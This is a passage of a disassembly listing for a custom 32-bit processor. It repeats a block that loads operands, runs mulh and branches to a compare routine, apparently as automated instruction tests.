6d9c: 10 40 02 10 ld32 r16,r16
6da0: 0d 45 49 3c wl16 r9,0x2a5c
6da4: 0d 60 01 23 wh16 r9,0x3
6da8: 10 40 01 29 ld32 r9,r9
6dac: 00 60 01 10 mulh r8,r16
6db0: 20 70 03 e2 movepc rret,8
6db4: 14 30 e4 97 br 10 <compare>,#al
6db8: 00 10 00 41 add r2,1
6dbc: 0d 41 0d 08 wl16 r8,0x868
6dc0: 0d 60 01 03 wh16 r8,0x3
6dc4: 10 40 01 08 ld32 r8,r8
6dc8: 0d 43 2e 04 wl16 r16,0x1964
6dcc: 0d 60 02 03 wh16 r16,0x3
6dd0: 10 40 02 10 ld32 r16,r16
6dd4: 0d 45 4d 20 wl16 r9,0x2a60
6dd8: 0d 60 01 23 wh16 r9,0x3
6ddc: 10 40 01 29 ld32 r9,r9
6de0: 00 60 01 10 mulh r8,r16
6de4: 20 70 03 e2 movepc rret,8
6de8: 14 30 e4 8a br 10 <compare>,#al
6dec: 00 10 00 41 add r2,1
6df0: 0d 41 0d 0c wl16 r8,0x86c
6df4: 0d 60 01 03 wh16 r8,0x3
6df8: 10 40 01 08 ld32 r8,r8
6dfc: 0d 43 2e 08 wl16 r16,0x1968
6e00: 0d 60 02 03 wh16 r16,0x3
6e04: 10 40 02 10 ld32 r16,r16
6e08: 0d 45 4d 24 wl16 r9,0x2a64
6e0c: 0d 60 01 23 wh16 r9,0x3
6e10: 10 40 01 29 ld32 r9,r9
6e14: 00 60 01 10 mulh r8,r16
6e18: 20 70 03 e2 movepc rret,8
6e1c: 14 30 e4 7d br 10 <compare>,#al
6e20: 00 10 00 41 add r2,1
6e24: 0d 41 0d 10 wl16 r8,0x870
6e28: 0d 60 01 03 wh16 r8,0x3
6e2c: 10 40 01 08 ld32 r8,r8
6e30: 0d 43 2e 0c wl16 r16,0x196c
6e34: 0d 60 02 03 wh16 r16,0x3
6e38: 10 40 02 10 ld32 r16,r16
6e3c: 0d 45 4d 28 wl16 r9,0x2a68
6e40: 0d 60 01 23 wh16 r9,0x3
6e44: 10 40 01 29 ld32 r9,r9
6e48: 00 60 01 10 mulh r8,r16
6e4c: 20 70 03 e2 movepc rret,8
6e50: 14 30 e4 70 br 10 <compare>,#al
6e54: 00 10 00 41 add r2,1
6e58: 0d 41 0d 14 wl16 r8,0x874
6e5c: 0d 60 01 03 wh16 r8,0x3
6e60: 10 40 01 08 ld32 r8,r8
6e64: 0d 43 2e 10 wl16 r16,0x1970
6e68: 0d 60 02 03 wh16 r16,0x3
6e6c: 10 40 02 10 ld32 r16,r16
6e70: 0d 45 4d 2c wl16 r9,0x2a6c
6e74: 0d 60 01 23 wh16 r9,0x3
6e78: 10 40 01 29 ld32 r9,r9
6e7c: 00 60 01 10 mulh r8,r16
6e80: 20 70 03 e2 movepc rret,8
6e84: 14 30 e4 63 br 10 <compare>,#al
6e88: 00 10 00 41 add r2,1
6e8c: 0d 41 0d 18 wl16 r8,0x878
6e90: 0d 60 01 03 wh16 r8,0x3
6e94: 10 40 01 08 ld32 r8,r8
6e98: 0d 43 2e 14 wl16 r16,0x1974
6e9c: 0d 60 02 03 wh16 r16,0x3
6ea0: 10 40 02 10 ld32 r16,r16
6ea4: 0d 45 4d 30 wl16 r9,0x2a70
6ea8: 0d 60 01 23 wh16 r9,0x3
6eac: 10 40 01 29 ld32 r9,r9
6eb0: 00 60 01 10 mulh r8,r16
6eb4: 20 70 03 e2 movepc rret,8
6eb8: 14 30 e4 56 br 10 <compare>,#al
6ebc: 00 10 00 41 add r2,1
6ec0: 0d 41 0d 1c wl16 r8,0x87c
6ec4: 0d 60 01 03 wh16 r8,0x3
6ec8: 10 40 01 08 ld32 r8,r8
6ecc: 0d 43 2e 18 wl16 r16,0x1978
6ed0: 0d 60 02 03 wh16 r16,0x3
6ed4: 10 40 02 10 ld32 r16,r16
6ed8: 0d 45 4d 34 wl16 r9,0x2a74
6edc: 0d 60 01 23 wh16 r9,0x3
6ee0: 10 40 01 29 ld32 r9,r9
6ee4: 00 60 01 10 mulh r8,r16
6ee8: 20 70 03 e2 movepc rret,8
6eec: 14 30 e4 49 br 10 <compare>,#al
6ef0: 00 10 00 41 add r2,1
6ef4: 0d 41 11 00 wl16 r8,0x880
6ef8: 0d 60 01 03 wh16 r8,0x3
6efc: 10 40 01 08 ld32 r8,r8
6f00: 0d 43 2e 1c wl16 r16,0x197c
6f04: 0d 60 02 03 wh16 r16,0x3
6f08: 10 40 02 10 ld32 r16,r16
6f0c: 0d 45 4d 38 wl16 r9,0x2a78
6f10: 0d 60 01 23 wh16 r9,0x3
6f14: 10 40 01 29 ld32 r9,r9
6f18: 00 60 01 10 mulh r8,r16
6f1c: 20 70 03 e2 movepc rret,8
6f20: 14 30 e4 3c br 10 <compare>,#al
6f24: 00 10 00 41 add r2,1
6f28: 0d 41 11 04 wl16 r8,0x884
6f2c: 0d 60 01 03 wh16 r8,0x3
6f30: 10 40 01 08 ld32 r8,r8
6f34: 0d 43 32 00 wl16 r16,0x1980
6f38: 0d 60 02 03 wh16 r16,0x3
6f3c: 10 40 02 10 ld32 r16,r16
6f40: 0d 45 4d 3c wl16 r9,0x2a7c
6f44: 0d 60 01 23 wh16 r9,0x3
6f48: 10 40 01 29 ld32 r9,r9
6f4c: 00 60 01 10 mulh r8,r16
6f50: 20 70 03 e2 movepc rret,8
6f54: 14 30 e4 2f br 10 <compare>,#al
6f58: 00 10 00 41 add r2,1
6f5c: 0d 41 11 08 wl16 r8,0x888
6f60: 0d 60 01 03 wh16 r8,0x3
6f64: 10 40 01 08 ld32 r8,r8
6f68: 0d 43 32 04 wl16 r16,0x1984
6f6c: 0d 60 02 03 wh16 r16,0x3
6f70: 10 40 02 10 ld32 r16,r16
6f74: 0d 45 51 20 wl16 r9,0x2a80
6f78: 0d 60 01 23 wh16 r9,0x3
6f7c: 10 40 01 29 ld32 r9,r9
6f80: 00 60 01 10 mulh r8,r16
6f84: 20 70 03 e2 movepc rret,8
6f88: 14 30 e4 22 br 10 <compare>,#al
6f8c: 00 10 00 41 add r2,1
6f90: 0d 41 11 0c wl16 r8,0x88c
6f94: 0d 60 01 03 wh16 r8,0x3
6f98: 10 40 01 08 ld32 r8,r8
6f9c: 0d 43 32 08 wl16 r16,0x1988
6fa0: 0d 60 02 03 wh16 r16,0x3
6fa4: 10 40 02 10 ld32 r16,r16
6fa8: 0d 45 51 24 wl16 r9,0x2a84
6fac: 0d 60 01 23 wh16 r9,0x3
6fb0: 10 40 01 29 ld32 r9,r9
6fb4: 00 60 01 10 mulh r8,r16
6fb8: 20 70 03 e2 movepc rret,8
6fbc: 14 30 e4 15 br 10 <compare>,#al
6fc0: 00 10 00 41 add r2,1
6fc4: 0d 41 11 10 wl16 r8,0x890
6fc8: 0d 60 01 03 wh16 r8,0x3
6fcc: 10 40 01 08 ld32 r8,r8
6fd0: 0d 43 32 0c wl16 r16,0x198c
6fd4: 0d 60 02 03 wh16 r16,0x3
6fd8: 10 40 02 10 ld32 r16,r16
6fdc: 0d 45 51 28 wl16 r9,0x2a88
6fe0: 0d 60 01 23 wh16 r9,0x3
6fe4: 10 40 01 29 ld32 r9,r9
6fe8: 00 60 01 10 mulh r8,r16
6fec: 20 70 03 e2 movepc rret,8
6ff0: 14 30 e4 08 br 10 <compare>,#al
6ff4: 00 10 00 41 add r2,1
6ff8: 0d 41 11 14 wl16 r8,0x894
6ffc: 0d 60 01 03 wh16 r8,0x3
7000: 10 40 01 08 ld32 r8,r8
7004: 0d 43 32 10 wl16 r16,0x1990
7008: 0d 60 02 03 wh16 r16,0x3
700c: 10 40 02 10 ld32 r16,r16
7010: 0d 45 51 2c wl16 r9,0x2a8c
7014: 0d 60 01 23 wh16 r9,0x3
7018: 10 40 01 29 ld32 r9,r9
701c: 00 60 01 10 mulh r8,r16
7020: 20 70 03 e2 movepc rret,8
7024: 14 30 e3 fb br 10 <compare>,#al
7028: 00 10 00 41 add r2,1
702c: 0d 41 11 18 wl16 r8,0x898
7030: 0d 60 01 03 wh16 r8,0x3
7034: 10 40 01 08 ld32 r8,r8
7038: 0d 43 32 14 wl16 r16,0x1994
703c: 0d 60 02 03 wh16 r16,0x3
7040: 10 40 02 10 ld32 r16,r16
7044: 0d 45 51 30 wl16 r9,0x2a90
7048: 0d 60 01 23 wh16 r9,0x3
704c: 10 40 01 29 ld32 r9,r9
7050: 00 60 01 10 mulh r8,r16
7054: 20 70 03 e2 movepc rret,8
7058: 14 30 e3 ee br 10 <compare>,#al
705c: 00 10 00 41 add r2,1
7060: 0d 41 11 1c wl16 r8,0x89c
7064: 0d 60 01 03 wh16 r8,0x3
7068: 10 40 01 08 ld32 r8,r8
706c: 0d 43 32 18 wl16 r16,0x1998
7070: 0d 60 02 03 wh16 r16,0x3
7074: 10 40 02 10 ld32 r16,r16
7078: 0d 45 51 34 wl16 r9,0x2a94
707c: 0d 60 01 23 wh16 r9,0x3
7080: 10 40 01 29 ld32 r9,r9
7084: 00 60 01 10 mulh r8,r16
7088: 20 70 03 e2 movepc rret,8
708c: 14 30 e3 e1 br 10 <compare>,#al
7090: 00 10 00 41 add r2,1
7094: 0d 41 15 00 wl16 r8,0x8a0
7098: 0d 60 01 03 wh16 r8,0x3
709c: 10 40 01 08 ld32 r8,r8
70a0: 0d 43 32 1c wl16 r16,0x199c
70a4: 0d 60 02 03 wh16 r16,0x3
70a8: 10 40 02 10 ld32 r16,r16
70ac: 0d 45 51 38 wl16 r9,0x2a98
70b0: 0d 60 01 23 wh16 r9,0x3
70b4: 10 40 01 29 ld32 r9,r9
70b8: 00 60 01 10 mulh r8,r16
70bc: 20 70 03 e2 movepc rret,8
70c0: 14 30 e3 d4 br 10 <compare>,#al
70c4: 00 10 00 41 add r2,1
70c8: 0d 41 15 04 wl16 r8,0x8a4
70cc: 0d 60 01 03 wh16 r8,0x3
70d0: 10 40 01 08 ld32 r8,r8
70d4: 0d 43 36 00 wl16 r16,0x19a0
70d8: 0d 60 02 03 wh16 r16,0x3
70dc: 10 40 02 10 ld32 r16,r16
70e0: 0d 45 51 3c wl16 r9,0x2a9c
70e4: 0d 60 01 23 wh16 r9,0x3
70e8: 10 40 01 29 ld32 r9,r9
70ec: 00 60 01 10 mulh r8,r16
70f0: 20 70 03 e2 movepc rret,8
70f4: 14 30 e3 c7 br 10 <compare>,#al
70f8: 00 10 00 41 add r2,1
70fc: 0d 41 15 08 wl16 r8,0x8a8
7100: 0d 60 01 03 wh16 r8,0x3
7104: 10 40 01 08 ld32 r8,r8
7108: 0d 43 36 04 wl16 r16,0x19a4
710c: 0d 60 02 03 wh16 r16,0x3
7110: 10 40 02 10 ld32 r16,r16
7114: 0d 45 55 20 wl16 r9,0x2aa0
7118: 0d 60 01 23 wh16 r9,0x3
711c: 10 40 01 29 ld32 r9,r9
7120: 00 60 01 10 mulh r8,r16
7124: 20 70 03 e2 movepc rret,8
7128: 14 30 e3 ba br 10 <compare>,#al
712c: 00 10 00 41 add r2,1
7130: 0d 41 15 0c wl16 r8,0x8ac
7134: 0d 60 01 03 wh16 r8,0x3
7138: 10 40 01 08 ld32 r8,r8
713c: 0d 43 36 08 wl16 r16,0x19a8
7140: 0d 60 02 03 wh16 r16,0x3
7144: 10 40 02 10 ld32 r16,r16
7148: 0d 45 55 24 wl16 r9,0x2aa4
714c: 0d 60 01 23 wh16 r9,0x3
7150: 10 40 01 29 ld32 r9,r9
7154: 00 60 01 10 mulh r8,r16
7158: 20 70 03 e2 movepc rret,8
715c: 14 30 e3 ad br 10 <compare>,#al
7160: 00 10 00 41 add r2,1
7164: 0d 41 15 10 wl16 r8,0x8b0
7168: 0d 60 01 03 wh16 r8,0x3
716c: 10 40 01 08 ld32 r8,r8
7170: 0d 43 36 0c wl16 r16,0x19ac
7174: 0d 60 02 03 wh16 r16,0x3
7178: 10 40 02 10 ld32 r16,r16
717c: 0d 45 55 28 wl16 r9,0x2aa8
7180: 0d 60 01 23 wh16 r9,0x3
7184: 10 40 01 29 ld32 r9,r9
7188: 00 60 01 10 mulh r8,r16
718c: 20 70 03 e2 movepc rret,8
7190: 14 30 e3 a0 br 10 <compare>,#al
7194: 00 10 00 41 add r2,1
7198: 0d 41 15 14 wl16 r8,0x8b4
719c: 0d 60 01 03 wh16 r8,0x3
71a0: 10 40 01 08 ld32 r8,r8
71a4: 0d 43 36 10 wl16 r16,0x19b0
71a8: 0d 60 02 03 wh16 r16,0x3
71ac: 10 40 02 10 ld32 r16,r16
71b0: 0d 45 55 2c wl16 r9,0x2aac
71b4: 0d 60 01 23 wh16 r9,0x3
71b8: 10 40 01 29 ld32 r9,r9
71bc: 00 60 01 10 mulh r8,r16
71c0: 20 70 03 e2 movepc rret,8
71c4: 14 30 e3 93 br 10 <compare>,#al
71c8: 00 10 00 41 add r2,1
71cc: 0d 41 15 18 wl16 r8,0x8b8
71d0: 0d 60 01 03 wh16 r8,0x3
71d4: 10 40 01 08 ld32 r8,r8
71d8: 0d 43 36 14 wl16 r16,0x19b4
71dc: 0d 60 02 03 wh16 r16,0x3
71e0: 10 40 02 10 ld32 r16,r16
71e4: 0d 45 55 30 wl16 r9,0x2ab0
71e8: 0d 60 01 23 wh16 r9,0x3
71ec: 10 40 01 29 ld32 r9,r9
71f0: 00 60 01 10 mulh r8,r16
71f4: 20 70 03 e2 movepc rret,8
71f8: 14 30 e3 86 br 10 <compare>,#al
71fc: 00 10 00 41 add r2,1
7200: 0d 41 15 1c wl16 r8,0x8bc
7204: 0d 60 01 03 wh16 r8,0x3
7208: 10 40 01 08 ld32 r8,r8
720c: 0d 43 36 18 wl16 r16,0x19b8
7210: 0d 60 02 03 wh16 r16,0x3
7214: 10 40 02 10 ld32 r16,r16
7218: 0d 45 55 34 wl16 r9,0x2ab4
721c: 0d 60 01 23 wh16 r9,0x3
7220: 10 40 01 29 ld32 r9,r9
7224: 00 60 01 10 mulh r8,r16
7228: 20 70 03 e2 movepc rret,8
722c: 14 30 e3 79 br 10 <compare>,#al
7230: 00 10 00 41 add r2,1
7234: 0d 41 19 00 wl16 r8,0x8c0
7238: 0d 60 01 03 wh16 r8,0x3
723c: 10 40 01 08 ld32 r8,r8
7240: 0d 43 36 1c wl16 r16,0x19bc
7244: 0d 60 02 03 wh16 r16,0x3
7248: 10 40 02 10 ld32 r16,r16
724c: 0d 45 55 38 wl16 r9,0x2ab8
7250: 0d 60 01 23 wh16 r9,0x3
7254: 10 40 01 29 ld32 r9,r9
7258: 00 60 01 10 mulh r8,r16
725c: 20 70 03 e2 movepc rret,8
7260: 14 30 e3 6c br 10 <compare>,#al
7264: 00 10 00 41 add r2,1
7268: 0d 41 19 04 wl16 r8,0x8c4
726c: 0d 60 01 03 wh16 r8,0x3
7270: 10 40 01 08 ld32 r8,r8
7274: 0d 43 3a 00 wl16 r16,0x19c0
7278: 0d 60 02 03 wh16 r16,0x3
727c: 10 40 02 10 ld32 r16,r16
7280: 0d 45 55 3c wl16 r9,0x2abc
7284: 0d 60 01 23 wh16 r9,0x3
7288: 10 40 01 29 ld32 r9,r9
728c: 00 60 01 10 mulh r8,r16
7290: 20 70 03 e2 movepc rret,8
7294: 14 30 e3 5f br 10 <compare>,#al
7298: 00 10 00 41 add r2,1
729c: 0d 41 19 08 wl16 r8,0x8c8
72a0: 0d 60 01 03 wh16 r8,0x3
72a4: 10 40 01 08 ld32 r8,r8
72a8: 0d 43 3a 04 wl16 r16,0x19c4
72ac: 0d 60 02 03 wh16 r16,0x3
72b0: 10 40 02 10 ld32 r16,r16
72b4: 0d 45 59 20 wl16 r9,0x2ac0
72b8: 0d 60 01 23 wh16 r9,0x3
72bc: 10 40 01 29 ld32 r9,r9
72c0: 00 60 01 10 mulh r8,r16
72c4: 20 70 03 e2 movepc rret,8
72c8: 14 30 e3 52 br 10 <compare>,#al
72cc: 00 10 00 41 add r2,1
72d0: 0d 41 19 0c wl16 r8,0x8cc
72d4: 0d 60 01 03 wh16 r8,0x3
72d8: 10 40 01 08 ld32 r8,r8
72dc: 0d 43 3a 08 wl16 r16,0x19c8
72e0: 0d 60 02 03 wh16 r16,0x3
72e4: 10 40 02 10 ld32 r16,r16
72e8: 0d 45 59 24 wl16 r9,0x2ac4
72ec: 0d 60 01 23 wh16 r9,0x3
72f0: 10 40 01 29 ld32 r9,r9
72f4: 00 60 01 10 mulh r8,r16
72f8: 20 70 03 e2 movepc rret,8
72fc: 14 30 e3 45 br 10 <compare>,#al
7300: 00 10 00 41 add r2,1
7304: 0d 41 19 10 wl16 r8,0x8d0
7308: 0d 60 01 03 wh16 r8,0x3
730c: 10 40 01 08 ld32 r8,r8
7310: 0d 43 3a 0c wl16 r16,0x19cc
7314: 0d 60 02 03 wh16 r16,0x3
7318: 10 40 02 10 ld32 r16,r16
731c: 0d 45 59 28 wl16 r9,0x2ac8
7320: 0d 60 01 23 wh16 r9,0x3
7324: 10 40 01 29 ld32 r9,r9
7328: 00 60 01 10 mulh r8,r16
732c: 20 70 03 e2 movepc rret,8
7330: 14 30 e3 38 br 10 <compare>,#al
7334: 00 10 00 41 add r2,1
7338: 0d 41 19 14 wl16 r8,0x8d4
733c: 0d 60 01 03 wh16 r8,0x3
7340: 10 40 01 08 ld32 r8,r8
7344: 0d 43 3a 10 wl16 r16,0x19d0
7348: 0d 60 02 03 wh16 r16,0x3
734c: 10 40 02 10 ld32 r16,r16
7350: 0d 45 59 2c wl16 r9,0x2acc
7354: 0d 60 01 23 wh16 r9,0x3
7358: 10 40 01 29 ld32 r9,r9
735c: 00 60 01 10 mulh r8,r16
7360: 20 70 03 e2 movepc rret,8
7364: 14 30 e3 2b br 10 <compare>,#al
7368: 00 10 00 41 add r2,1
736c: 0d 41 19 18 wl16 r8,0x8d8
7370: 0d 60 01 03 wh16 r8,0x3
7374: 10 40 01 08 ld32 r8,r8
7378: 0d 43 3a 14 wl16 r16,0x19d4
737c: 0d 60 02 03 wh16 r16,0x3
7380: 10 40 02 10 ld32 r16,r16
7384: 0d 45 59 30 wl16 r9,0x2ad0
7388: 0d 60 01 23 wh16 r9,0x3
738c: 10 40 01 29 ld32 r9,r9
7390: 00 60 01 10 mulh r8,r16
7394: 20 70 03 e2 movepc rret,8
7398: 14 30 e3 1e br 10 <compare>,#al
739c: 00 10 00 41 add r2,1
73a0: 0d 41 19 1c wl16 r8,0x8dc
73a4: 0d 60 01 03 wh16 r8,0x3
73a8: 10 40 01 08 ld32 r8,r8
73ac: 0d 43 3a 18 wl16 r16,0x19d8
73b0: 0d 60 02 03 wh16 r16,0x3
73b4: 10 40 02 10 ld32 r16,r16
73b8: 0d 45 59 34 wl16 r9,0x2ad4
73bc: 0d 60 01 23 wh16 r9,0x3
73c0: 10 40 01 29 ld32 r9,r9
73c4: 00 60 01 10 mulh r8,r16
73c8: 20 70 03 e2 movepc rret,8
73cc: 14 30 e3 11 br 10 <compare>,#al
73d0: 00 10 00 41 add r2,1
73d4: 0d 41 1d 00 wl16 r8,0x8e0
73d8: 0d 60 01 03 wh16 r8,0x3
73dc: 10 40 01 08 ld32 r8,r8
73e0: 0d 43 3a 1c wl16 r16,0x19dc
73e4: 0d 60 02 03 wh16 r16,0x3
73e8: 10 40 02 10 ld32 r16,r16
73ec: 0d 45 59 38 wl16 r9,0x2ad8
73f0: 0d 60 01 23 wh16 r9,0x3
73f4: 10 40 01 29 ld32 r9,r9
73f8: 00 60 01 10 mulh r8,r16
73fc: 20 70 03 e2 movepc rret,8
7400: 14 30 e3 04 br 10 <compare>,#al
7404: 00 10 00 41 add r2,1
7408: 0d 41 1d 04 wl16 r8,0x8e4
740c: 0d 60 01 03 wh16 r8,0x3
7410: 10 40 01 08 ld32 r8,r8
7414: 0d 43 3e 00 wl16 r16,0x19e0
7418: 0d 60 02 03 wh16 r16,0x3
741c: 10 40 02 10 ld32 r16,r16
7420: 0d 45 59 3c wl16 r9,0x2adc
7424: 0d 60 01 23 wh16 r9,0x3
7428: 10 40 01 29 ld32 r9,r9
742c: 00 60 01 10 mulh r8,r16
7430: 20 70 03 e2 movepc rret,8
7434: 14 30 e2 f7 br 10 <compare>,#al
7438: 00 10 00 41 add r2,1
743c: 0d 41 1d 08 wl16 r8,0x8e8
7440: 0d 60 01 03 wh16 r8,0x3
7444: 10 40 01 08 ld32 r8,r8
7448: 0d 43 3e 04 wl16 r16,0x19e4
744c: 0d 60 02 03 wh16 r16,0x3
7450: 10 40 02 10 ld32 r16,r16
7454: 0d 45 5d 20 wl16 r9,0x2ae0
7458: 0d 60 01 23 wh16 r9,0x3
745c: 10 40 01 29 ld32 r9,r9
7460: 00 60 01 10 mulh r8,r16
7464: 20 70 03 e2 movepc rret,8
7468: 14 30 e2 ea br 10 <compare>,#al
746c: 00 10 00 41 add r2,1
7470: 0d 41 1d 0c wl16 r8,0x8ec
7474: 0d 60 01 03 wh16 r8,0x3
7478: 10 40 01 08 ld32 r8,r8
747c: 0d 43 3e 08 wl16 r16,0x19e8
7480: 0d 60 02 03 wh16 r16,0x3
7484: 10 40 02 10 ld32 r16,r16
7488: 0d 45 5d 24 wl16 r9,0x2ae4
748c: 0d 60 01 23 wh16 r9,0x3
7490: 10 40 01 29 ld32 r9,r9
7494: 00 60 01 10 mulh r8,r16
7498: 20 70 03 e2 movepc rret,8
749c: 14 30 e2 dd br 10 <compare>,#al
74a0: 00 10 00 41 add r2,1
74a4: 0d 41 1d 10 wl16 r8,0x8f0
74a8: 0d 60 01 03 wh16 r8,0x3
74ac: 10 40 01 08 ld32 r8,r8
74b0: 0d 43 3e 0c wl16 r16,0x19ec
74b4: 0d 60 02 03 wh16 r16,0x3
74b8: 10 40 02 10 ld32 r16,r16
74bc: 0d 45 5d 28 wl16 r9,0x2ae8
74c0: 0d 60 01 23 wh16 r9,0x3
74c4: 10 40 01 29 ld32 r9,r9
74c8: 00 60 01 10 mulh r8,r16
74cc: 20 70 03 e2 movepc rret,8
74d0: 14 30 e2 d0 br 10 <compare>,#al
74d4: 00 10 00 41 add r2,1
74d8: 0d 41 1d 14 wl16 r8,0x8f4
74dc: 0d 60 01 03 wh16 r8,0x3
74e0: 10 40 01 08 ld32 r8,r8
74e4: 0d 43 3e 10 wl16 r16,0x19f0
74e8: 0d 60 02 03 wh16 r16,0x3
74ec: 10 40 02 10 ld32 r16,r16
74f0: 0d 45 5d 2c wl16 r9,0x2aec
74f4: 0d 60 01 23 wh16 r9,0x3
74f8: 10 40 01 29 ld32 r9,r9
74fc: 00 60 01 10 mulh r8,r16
7500: 20 70 03 e2 movepc rret,8
7504: 14 30 e2 c3 br 10 <compare>,#al
7508: 00 10 00 41 add r2,1
750c: 0d 41 1d 18 wl16 r8,0x8f8
7510: 0d 60 01 03 wh16 r8,0x3
7514: 10 40 01 08 ld32 r8,r8
7518: 0d 43 3e 14 wl16 r16,0x19f4
751c: 0d 60 02 03 wh16 r16,0x3
7520: 10 40 02 10 ld32 r16,r16
7524: 0d 45 5d 30 wl16 r9,0x2af0
7528: 0d 60 01 23 wh16 r9,0x3
752c: 10 40 01 29 ld32 r9,r9
7530: 00 60 01 10 mulh r8,r16
7534: 20 70 03 e2 movepc rret,8
7538: 14 30 e2 b6 br 10 <compare>,#al
753c: 00 10 00 41 add r2,1
7540: 0d 41 1d 1c wl16 r8,0x8fc
7544: 0d 60 01 03 wh16 r8,0x3
7548: 10 40 01 08 ld32 r8,r8
754c: 0d 43 3e 18 wl16 r16,0x19f8
7550: 0d 60 02 03 wh16 r16,0x3
7554: 10 40 02 10 ld32 r16,r16
7558: 0d 45 5d 34 wl16 r9,0x2af4
755c: 0d 60 01 23 wh16 r9,0x3
7560: 10 40 01 29 ld32 r9,r9
7564: 00 60 01 10 mulh r8,r16
7568: 20 70 03 e2 movepc rret,8
756c: 14 30 e2 a9 br 10 <compare>,#al
7570: 00 10 00 41 add r2,1
7574: 0d 41 21 00 wl16 r8,0x900
7578: 0d 60 01 03 wh16 r8,0x3
757c: 10 40 01 08 ld32 r8,r8
7580: 0d 43 3e 1c wl16 r16,0x19fc
7584: 0d 60 02 03 wh16 r16,0x3
7588: 10 40 02 10 ld32 r16,r16
758c: 0d 45 5d 38 wl16 r9,0x2af8
7590: 0d 60 01 23 wh16 r9,0x3
7594: 10 40 01 29 ld32 r9,r9
7598: 00 60 01 10 mulh r8,r16
759c: 20 70 03 e2 movepc rret,8
75a0: 14 30 e2 9c br 10 <compare>,#al
75a4: 00 10 00 41 add r2,1
75a8: 0d 41 21 04 wl16 r8,0x904
75ac: 0d 60 01 03 wh16 r8,0x3
75b0: 10 40 01 08 ld32 r8,r8
75b4: 0d 43 42 00 wl16 r16,0x1a00
75b8: 0d 60 02 03 wh16 r16,0x3
75bc: 10 40 02 10 ld32 r16,r16
75c0: 0d 45 5d 3c wl16 r9,0x2afc
75c4: 0d 60 01 23 wh16 r9,0x3
75c8: 10 40 01 29 ld32 r9,r9
75cc: 00 60 01 10 mulh r8,r16
75d0: 20 70 03 e2 movepc rret,8
75d4: 14 30 e2 8f br 10 <compare>,#al
75d8: 00 10 00 41 add r2,1
75dc: 0d 41 21 08 wl16 r8,0x908
75e0: 0d 60 01 03 wh16 r8,0x3
75e4: 10 40 01 08 ld32 r8,r8
75e8: 0d 43 42 04 wl16 r16,0x1a04
75ec: 0d 60 02 03 wh16 r16,0x3
75f0: 10 40 02 10 ld32 r16,r16
75f4: 0d 45 61 20 wl16 r9,0x2b00
75f8: 0d 60 01 23 wh16 r9,0x3
75fc: 10 40 01 29 ld32 r9,r9
7600: 00 60 01 10 mulh r8,r16
7604: 20 70 03 e2 movepc rret,8
7608: 14 30 e2 82 br 10 <compare>,#al
760c: 00 10 00 41 add r2,1
7610: 0d 41 21 0c wl16 r8,0x90c
7614: 0d 60 01 03 wh16 r8,0x3
7618: 10 40 01 08 ld32 r8,r8
761c: 0d 43 42 08 wl16 r16,0x1a08
7620: 0d 60 02 03 wh16 r16,0x3
7624: 10 40 02 10 ld32 r16,r16
7628: 0d 45 61 24 wl16 r9,0x2b04
762c: 0d 60 01 23 wh16 r9,0x3
7630: 10 40 01 29 ld32 r9,r9
7634: 00 60 01 10 mulh r8,r16
7638: 20 70 03 e2 movepc rret,8
763c: 14 30 e2 75 br 10 <compare>,#al
7640: 00 10 00 41 add r2,1
7644: 0d 41 21 10 wl16 r8,0x910
7648: 0d 60 01 03 wh16 r8,0x3
764c: 10 40 01 08 ld32 r8,r8
7650: 0d 43 42 0c wl16 r16,0x1a0c
7654: 0d 60 02 03 wh16 r16,0x3
7658: 10 40 02 10 ld32 r16,r16
765c: 0d 45 61 28 wl16 r9,0x2b08
7660: 0d 60 01 23 wh16 r9,0x3
7664: 10 40 01 29 ld32 r9,r9
7668: 00 60 01 10 mulh r8,r16
766c: 20 70 03 e2 movepc rret,8
7670: 14 30 e2 68 br 10 <compare>,#al
7674: 00 10 00 41 add r2,1
7678: 0d 41 21 14 wl16 r8,0x914
767c: 0d 60 01 03 wh16 r8,0x3
7680: 10 40 01 08 ld32 r8,r8
7684: 0d 43 42 10 wl16 r16,0x1a10
7688: 0d 60 02 03 wh16 r16,0x3
768c: 10 40 02 10 ld32 r16,r16
7690: 0d 45 61 2c wl16 r9,0x2b0c
7694: 0d 60 01 23 wh16 r9,0x3
7698: 10 40 01 29 ld32 r9,r9
769c: 00 60 01 10 mulh r8,r16
76a0: 20 70 03 e2 movepc rret,8
76a4: 14 30 e2 5b br 10 <compare>,#al
76a8: 00 10 00 41 add r2,1
76ac: 0d 41 21 18 wl16 r8,0x918
76b0: 0d 60 01 03 wh16 r8,0x3
76b4: 10 40 01 08 ld32 r8,r8
76b8: 0d 43 42 14 wl16 r16,0x1a14
76bc: 0d 60 02 03 wh16 r16,0x3
76c0: 10 40 02 10 ld32 r16,r16
76c4: 0d 45 61 30 wl16 r9,0x2b10
76c8: 0d 60 01 23 wh16 r9,0x3
76cc: 10 40 01 29 ld32 r9,r9
76d0: 00 60 01 10 mulh r8,r16
76d4: 20 70 03 e2 movepc rret,8
76d8: 14 30 e2 4e br 10 <compare>,#al
76dc: 00 10 00 41 add r2,1
76e0: 0d 41 21 1c wl16 r8,0x91c
76e4: 0d 60 01 03 wh16 r8,0x3
76e8: 10 40 01 08 ld32 r8,r8
76ec: 0d 43 42 18 wl16 r16,0x1a18
76f0: 0d 60 02 03 wh16 r16,0x3
76f4: 10 40 02 10 ld32 r16,r16
76f8: 0d 45 61 34 wl16 r9,0x2b14
76fc: 0d 60 01 23 wh16 r9,0x3
7700: 10 40 01 29 ld32 r9,r9
7704: 00 60 01 10 mulh r8,r16
7708: 20 70 03 e2 movepc rret,8
770c: 14 30 e2 41 br 10 <compare>,#al
7710: 00 10 00 41 add r2,1
7714: 0d 41 25 00 wl16 r8,0x920
7718: 0d 60 01 03 wh16 r8,0x3
771c: 10 40 01 08 ld32 r8,r8
7720: 0d 43 42 1c wl16 r16,0x1a1c
7724: 0d 60 02 03 wh16 r16,0x3
7728: 10 40 02 10 ld32 r16,r16
772c: 0d 45 61 38 wl16 r9,0x2b18
7730: 0d 60 01 23 wh16 r9,0x3
7734: 10 40 01 29 ld32 r9,r9
7738: 00 60 01 10 mulh r8,r16
773c: 20 70 03 e2 movepc rret,8
7740: 14 30 e2 34 br 10 <compare>,#al
7744: 00 10 00 41 add r2,1
7748: 0d 41 25 04 wl16 r8,0x924
774c: 0d 60 01 03 wh16 r8,0x3
7750: 10 40 01 08 ld32 r8,r8
7754: 0d 43 46 00 wl16 r16,0x1a20
7758: 0d 60 02 03 wh16 r16,0x3
775c: 10 40 02 10 ld32 r16,r16
7760: 0d 45 61 3c wl16 r9,0x2b1c
7764: 0d 60 01 23 wh16 r9,0x3
7768: 10 40 01 29 ld32 r9,r9
776c: 00 60 01 10 mulh r8,r16
